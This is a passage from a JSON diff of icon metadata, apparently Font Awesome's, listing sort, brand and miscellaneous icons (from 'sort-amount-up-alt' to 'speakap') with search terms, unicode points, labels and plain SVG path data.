16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.77 160 16 160zm416 0H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M304 416h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.77 160 16 160zm416 0H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-64 128H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM496 32H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "sort-amount-up-alt": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrange", + "filter", + "order", + "sort-amount-desc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f885", + "label": "Alternate Sort Amount Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635710, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.39-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M240 96h64a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16h-64a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm0 128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm256 192H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h256a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-256-64h192a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H240a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zM16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.39-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160z" + } + }, + "free": [ + "solid" + ] + }, + "sort-down": { + "changes": [ + "2", + "5.0.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "descending", + "filter", + "order", + "sort-desc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0dd", + "label": "Sort Down (Descending)", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635710, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M41 288h238c21.4 0 32.1 25.9 17 41L177 448c-9.4 9.4-24.6 9.4-33.9 0L24 329c-15.1-15.1-4.4-41 17-41z" + } + }, + "free": [ + "solid" + ] + }, + "sort-numeric-down": { + "changes": [ + "3.2", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrange", + "filter", + "numbers", + "order", + "sort-numeric-asc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f162", + "label": "Sort Numeric Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635711, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zm26.15 162.91a79 79 0 0 0-55 54.17c-14.25 51.05 21.21 97.77 68.85 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zm-176-4h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zm26.15 162.91a79 79 0 0 0-55 54.17c-14.25 51.05 21.21 97.77 68.85 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zm-176-4h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352z" + } + }, + "free": [ + "solid" + ] + }, + "sort-numeric-down-alt": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrange", + "filter", + "numbers", + "order", + "sort-numeric-asc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f886", + "label": "Alternate Sort Numeric Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635711, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm224 64h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm224 64h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z" + } + }, + "free": [ + "solid" + ] + }, + "sort-numeric-up": { + "changes": [ + "3.2", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrange", + "filter", + "numbers", + "order", + "sort-numeric-desc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f163", + "label": "Sort Numeric Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635711, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M330.17 258.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zM304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zM107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M330.17 258.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.76 86.25-61.61 86.25-132V336c-.02-51.21-48.4-91.34-101.85-77.09zM352 356a20 20 0 1 1 20-20 20 20 0 0 1-20 20zM304 96h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-16V48a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 96zM107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31z" + } + }, + "free": [ + "solid" + ] + }, + "sort-numeric-up-alt": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrange", + "filter", + "numbers", + "order", + "sort-numeric-desc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f887", + "label": "Alternate Sort Numeric Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635711, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31zM400 416h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M107.31 36.69a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31zM400 416h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 304 352h16v64h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM330.17 34.91a79 79 0 0 0-55 54.17c-14.27 51.05 21.19 97.77 68.83 102.53a84.07 84.07 0 0 1-20.85 12.91c-7.57 3.4-10.8 12.47-8.18 20.34l9.9 20c2.87 8.63 12.53 13.49 20.9 9.91 58-24.77 86.25-61.61 86.25-132V112c-.02-51.21-48.4-91.34-101.85-77.09zM352 132a20 20 0 1 1 20-20 20 20 0 0 1-20 20z" + } + }, + "free": [ + "solid" + ] + }, + "sort-up": { + "changes": [ + "2", + "5.0.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "ascending", + "filter", + "order", + "sort-asc" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0de", + "label": "Sort Up (Ascending)", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635712, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M279 224H41c-21.4 0-32.1-25.9-17-41L143 64c9.4-9.4 24.6-9.4 33.9 0l119 119c15.2 15.1 4.5 41-16.9 41z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M279 224H41c-21.4 0-32.1-25.9-17-41L143 64c9.4-9.4 24.6-9.4 33.9 0l119 119c15.2 15.1 4.5 41-16.9 41z" + } + }, + "free": [ + "solid" + ] + }, + "soundcloud": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1be", + "label": "SoundCloud", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861021, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z" + } + }, + "free": [ + "brands" + ] + }, + "sourcetree": { + "changes": [ + "5.6.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f7d3", + "label": "Sourcetree", + "voted": true, + "svg": { + "brands": { + "last_modified": 1558987775915, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z" + } + }, + "free": [ + "brands" + ] + }, + "spa": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "flora", + "massage", + "mindfulness", + "plant", + "wellness" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5bb", + "label": "Spa", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635713, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M568.25 192c-29.04.13-135.01 6.16-213.84 83-33.12 29.63-53.36 63.3-66.41 94.86-13.05-31.56-33.29-65.23-66.41-94.86-78.83-76.84-184.8-82.87-213.84-83-4.41-.02-7.79 3.4-7.75 7.82.23 27.92 7.14 126.14 88.77 199.3C172.79 480.94 256 480 288 480s115.19.95 199.23-80.88c81.64-73.17 88.54-171.38 88.77-199.3.04-4.42-3.34-7.84-7.75-7.82zM287.98 302.6c12.82-18.85 27.6-35.78 44.09-50.52 19.09-18.61 39.58-33.3 60.26-45.18-16.44-70.5-51.72-133.05-96.73-172.22-4.11-3.58-11.02-3.58-15.14 0-44.99 39.14-80.27 101.63-96.74 172.07 20.37 11.7 40.5 26.14 59.22 44.39a282.768 282.768 0 0 1 45.04 51.46z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M568.25 192c-29.04.13-135.01 6.16-213.84 83-33.12 29.63-53.36 63.3-66.41 94.86-13.05-31.56-33.29-65.23-66.41-94.86-78.83-76.84-184.8-82.87-213.84-83-4.41-.02-7.79 3.4-7.75 7.82.23 27.92 7.14 126.14 88.77 199.3C172.79 480.94 256 480 288 480s115.19.95 199.23-80.88c81.64-73.17 88.54-171.38 88.77-199.3.04-4.42-3.34-7.84-7.75-7.82zM287.98 302.6c12.82-18.85 27.6-35.78 44.09-50.52 19.09-18.61 39.58-33.3 60.26-45.18-16.44-70.5-51.72-133.05-96.73-172.22-4.11-3.58-11.02-3.58-15.14 0-44.99 39.14-80.27 101.63-96.74 172.07 20.37 11.7 40.5 26.14 59.22 44.39a282.768 282.768 0 0 1 45.04 51.46z" + } + }, + "free": [ + "solid" + ] + }, + "space-shuttle": { + "changes": [ + "4.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "astronaut", + "machine", + "nasa", + "rocket", + "space", + "transportation" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f197", + "label": "Space Shuttle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635713, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M592.604 208.244C559.735 192.836 515.777 184 472 184H186.327c-4.952-6.555-10.585-11.978-16.72-16H376C229.157 137.747 219.403 32 96.003 32H96v128H80V32c-26.51 0-48 28.654-48 64v64c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v16c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v64c0 35.346 21.49 64 48 64V352h16v128h.003c123.4 0 133.154-105.747 279.997-136H169.606c6.135-4.022 11.768-9.445 16.72-16H472c43.777 0 87.735-8.836 120.604-24.244C622.282 289.845 640 271.992 640 256s-17.718-33.845-47.396-47.756zM488 296a8 8 0 0 1-8-8v-64a8 8 0 0 1 8-8c31.909 0 31.942 80 0 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M592.604 208.244C559.735 192.836 515.777 184 472 184H186.327c-4.952-6.555-10.585-11.978-16.72-16H376C229.157 137.747 219.403 32 96.003 32H96v128H80V32c-26.51 0-48 28.654-48 64v64c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v16c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v64c0 35.346 21.49 64 48 64V352h16v128h.003c123.4 0 133.154-105.747 279.997-136H169.606c6.135-4.022 11.768-9.445 16.72-16H472c43.777 0 87.735-8.836 120.604-24.244C622.282 289.845 640 271.992 640 256s-17.718-33.845-47.396-47.756zM488 296a8 8 0 0 1-8-8v-64a8 8 0 0 1 8-8c31.909 0 31.942 80 0 80z" + } + }, + "free": [ + "solid" + ] + }, + "speakap": { + "changes": [ + "5.0.0", + "5.4.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3f3", + "label": "Speakap", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775916, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 